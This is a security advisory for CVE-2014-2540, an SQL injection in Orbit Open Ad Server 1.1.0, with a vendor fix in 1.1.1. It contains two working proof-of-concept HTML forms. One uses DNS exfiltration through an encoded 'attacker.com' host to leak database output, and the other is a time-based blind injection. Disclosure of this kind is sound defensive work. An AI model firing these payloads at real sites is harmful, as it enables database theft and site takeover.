[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

SQL Injection in Orbit Open Ad Server



Advisory ID: HTB23208
Product: Orbit Open Ad Server
Vendor: OrbitScripts, LLC
Vulnerable Version(s): 1.1.0 and probably prior
Tested Version: 1.1.0
Advisory Publication:  March 19, 2014  [without technical details]
Vendor Notification: March 19, 2014 
Vendor Patch: March 21, 2014 
Public Disclosure: April 9, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-2540
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Orbit Open 
Ad Server, which can be exploited to perform SQL Injection attacks, alter SQL 
requests to database of vulnerable application and potentially gain control 
over the vulnerable website.

1) SQL Injection in Orbit Open Ad Server: CVE-2014-2540

Input passed via the "site_directory_sort_field" HTTP POST parameter to 
"/guest/site_directory" URL is not properly sanitised before being used in SQL 
query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL 
commands.

The PoC code below is based on DNS Exfiltration technique and may be used if 
the database of the vulnerable application is hosted on a Windows system. The 
PoC will send a DNS request demanding IP addess for `version()` (or any other 
sensetive output from the database) subdomain of ".attacker.com" (a domain 
name, DNS server of which is controlled by the attacker):


<form action="http://[host]/guest/site_directory"; method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">
<input type="submit" id="btn">
</form>


The second PoC code works against any platform (UNIX/Windows) and uses blind 
SQL injection brute-force (dichotomy) technique to extract data from the 
database:


<form action="http://[host]/guest/site_directory"; method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(SELECT 
IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=0,1, 
BENCHMARK(22000000,MD5(NOW()))))">
<input type="submit" id="btn">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Update to Orbit Open Ad Server 1.1.1

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23208 - 
https://www.htbridge.com/advisory/HTB23208 - SQL Injection in Orbit Open Ad 
Server.
[2] Orbit Open Ad Server - http://orbitopenadserver.com/ - the free, open 
source ad tool that lets you manage the profits while we manage the technology.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® - https://portal.htbridge.com/ - is High-Tech Bridge's 
proprietary web application security assessment solution with SaaS delivery 
model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.